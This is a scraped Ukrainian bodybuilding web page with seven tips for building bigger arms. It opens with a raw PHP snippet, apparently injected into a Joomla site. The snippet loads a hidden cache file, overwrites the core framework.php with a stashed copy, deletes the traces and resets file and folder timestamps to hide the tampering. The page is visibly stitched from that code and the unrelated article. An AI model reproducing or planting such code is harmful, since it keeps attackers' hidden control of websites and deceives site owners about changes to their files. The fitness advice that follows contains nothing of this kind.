$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Як накачати великі біцепси | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

Як накачати великі біцепси

Сім порад для побудови потужних біцепсів і тріцепсів.

Порада №1. Стусанами його, стусанами!

Інтенсивність – саме головне. Самий простий і важливий фактор прогресу для будь-якої частини тіла – важка праця. Якщо хочеш, щоб твої руки виросли – виснажуй їх. Це не означає, що потрібно взяти вагу побільше або рухатися швидше. Це означає, що у кожний окремий підхід ти повинен вкласти все, що зможеш. Не махай руками просто так, відчуй це, змусь м'язи закричати від болю.

Більшість атлетів роблять рухи не усвідомлено і неуважно, видно, що вони навіть не напружують м'язи по-справжньому, незалежно від ваги. Запам’ятай, якщо між підходами ти відпочиваєш по дві-три хвилини, то це повинні бути такі підходи, після яких ти всі ці дві-три хвилини переводиш дух!

І не говори про генетику, якщо хочеш виправдати поганий розвиток своїх рук. Том Платц, наприклад, не говорив. Замість цього він вкладав у кожен свій підхід і у кожен повтор стільки зусиль, що руки його виглядали так само класно, як… ти і сам знаєш. Так що зосередься і поїхали.

Порада №2. Викинь його.

Свій старий комплекс, звичайно. Стільки з нас втрачають час дарма по одній простій причині – ми знаходимо щось, що нам робити зручніше і робимо це до запаморочень. Ми липнемо до улюбленої програми тренувань довгий час після того, як вікно сприймання до цих навантажень зачинилось і м'язи на них не реагують. Посунься у бік, поки не потрапив на це плато. Місяць чи біля цього – достатній строк для зміни програми. Існує так багато чудових способів тренування рук, що залишитись у програші неможливо. Навіть такі прості зміни, як швидкість виконання повторів, кількість підходів або просто зміна вправ повністю змінять навантаження на твої руки і просунуть тебе на кілька кроків вперед.

Так, якщо ти кілька місяців поспіль робив згинання рук зі штангою, прогрес уповільнюється. Можливо настав час для гантелей на лавці або відпочивати менше, як робив Арнольд, одним словом, переключити режим тренування. Якщо ти не уявляєш, як урізноманітнити свої заняття, можливо наступні поради допоможуть тобі.

Порада №3. Перемежовуй.

Один час я був знайомий з одним хлопцем, байкером. Ми займались в одному залі. Руки його нагадували розмірами консервоване повидло (пам’ятаєте такі великі 5-ти кілограмові металеві банки). В усякому випадку, так вони виглядали крізь татуювання. Комплекс у цього хлопця був досить незвичайний. Він перемежовував роботу на біцепс і тріцепс. Не суперсет робив, а перемежовував.

Наприклад, він починав зі згинання рук з гантелями стоячи, робив п’ять підходів з відпочинком у хвилину чи біля того. Після цього він робив п’ять підходів розгинання рук на вертикальному блоці, потім знову переключався на біцепс, робив концентровані згинання з гантеллю. Всього у нього виходило 15-20 підходів на м'язи двічі на тиждень.

Він пояснював, що скорочуючи відпочинок між підходами до хвилини він працює на жорсткість та рельєф. А час між вправами дозволяє йому відновитися і взяти більшу вагу для роботи – звідси така м’язова маса. Він поцікавився, чи не хочу я потренуватися разом з ним. А коли вкритий татуюваннями байкар запитує щодо потренуватися тобі нічого іншого не залишається, як погодитись.

Мене вразили дві речі. Перша – на скільки велику вагу я взяв для останньої вправи як на біцепс, так і на тріцепс, і це після п’ятнадцяти підходів на руки. Просто гриф вгинався! Друга – на скільки потужніше виглядали мої руки після місяця таких тортур. Одне я засвоїв добре – коли купка таких хлопців після енного пива говорять, що зараз піднімуть твою машину і закинуть її он в той ставок – краще у цьому не сумніватися.

Порада №4. Врозкачку.

Тренуй руки двічі на тиждень і один раз в інший. Я знаю, всі ми чули про те, що м'язи рук невеликі і тому вимагають менше роботи, ніж ноги, наприклад, чи спина. Я в цьому не впевнений. Ноги я не можу навантажувати по максимуму більше, ніж раз на тиждень, а ось з руками інша ситуація. Про це можна сперечатися, але я впевнений, що чим більше за розмірами м'яз, тим більше часу він вимагає для відновлення.

Багато атлетів тренують руки кожен тиждень по два рази. Мені здається, що це занадто. Режим «двічі один тиждень, один раз на інший тиждень» залишає м'язам більше часу для відновлення. Просто почекай і спробуй.

Порада №5. З рук в руки.

Цьому я навчився в 1979 році у Роббі Робінзона. Дуже проста, дуже швидка і дуже-дуже ефективна варіація на тему відпочинок-пауза. Все, що тобі потрібно, це партнер і штанга. (Та й аспірин ще нікому не зашкодив…)

Навантажте штангу вагою, яка дозволить зробити згинання рук стоячи разів вісім. Ви з вашим партнером стаєте один напроти другого. Суворо дотримуючись техніки, робите згинання, повільно опускаєте штангу і швидко передаєте її партнеру. Той робить те саме і передає її вам. І так ви її передаєте один одному до упора, тобто поки один з вас не буде в змозі робити вправу чисто.

Якщо з «восьмиразовою» вагою ви робите цю вправу разів 30, це добре. До кінця сета, хвилин за 5, ваш біцепс досягає точки кипіння. Після цього робити ще щось неможливо.

Після першого разу на наступний ранок мої біцепси так боліли по всій довжині, що здавалось ніби хтось мене бив по руках поки я спав. Спробуйте робити це раз в тиждень на протязі місяця, накидаючи по 2 кілограма на кожному наступному тренуванні.

Порада №6. Гальмуй.

Бачив я великі руки. Просто гігантські. Я бачив руки Арнольда, Роббі, Ферріньо, навіть Доріана Йєтса. Всі вони просто монстри. Але самі великі руки, які я будь-коли бачив, належали одному малому, який тренувався на старому уейтліфтерському помості у Веніс Біч, Каліфорнія. Що він робив? Згинання рук.

Згинання рук зі штангою, якщо бути точним. І нічого більше. Підхід за підходом. На грифі висіло кілограм 90, і він робив згинання чисто, по 8-10 разів. Потім він відпочивав, і ще відпочивав, і ще трохи відпочивав… погуляє трохи навкруги, з людьми поговорить, з приймачем повозиться. Він просто отримував задоволення від спілкування з людьми, від сонця, від спокійних прогулянок по пляжу. Потім робив кілька ковтків з пляшечки (цікаво що там було так?) і починав новий підхід.

Скільки він відпочивав між підходами? По-різному, може хвилин десять, але ніяк не менше п’яти. Але він цього потребував при такому навантажені, яке допомагало йому ліпити такі гігантські руки. Я говорю – допомагало, тому що тут явно без генетики не обійшлось. Одного разу я сказав йому, які у нього великі руки. «Великі?» - запитав він і засміявся. «Ти думаєш вони великі? Ти моїх братів не бачив, ось у кого великі руки! А я – найменший у сім’ї.»

Порада №7. Повільні суперсети.

Ладно, мало у кого є стільки вільного часу, щоб вештатись на пляжі і робити сет за сетом та відпочивати по десять хвилин. Інший спосіб довго відпочивати, не розтягуючи це на весь день, - використовувати повільні суперсети. Спробуй спочатку суперсет зі згинання рук зі штангою, з розгинанням рук на вертикальному блоці з великою вагою.

Але замість того, щоб робити другу вправу без відпочинку зразу після першої, спробуй відпочити пару хвилин. Зробив згинання, зробив тріцепс, відпочив і т.д. працюючи таким чином ти даєш кожному м'язу 4-5 хвилин відпочинку, що важливо при використанні великої ваги. Крім цього, ти отримуєш вигоду від роботи у швидкому темпі, піднімаєш температуру тіла, змушуєш працювати серце і легені, прієш і прокачуєшся до відказу. І за той же час робиш подвійну роботу. Непогано, правда?

Використовуючи ці сім принципів, ти протрусиш свої летаргічні руки і змусиш їх рости. Спробуй кожен метод на протязі місяця, перш ніж переходити до наступного. Кожна з цих технік може бути використана для подолання плато або просто для порушення монотонності нашого щоденного існування.

 
Бодібілдінг Як накачати великі біцепси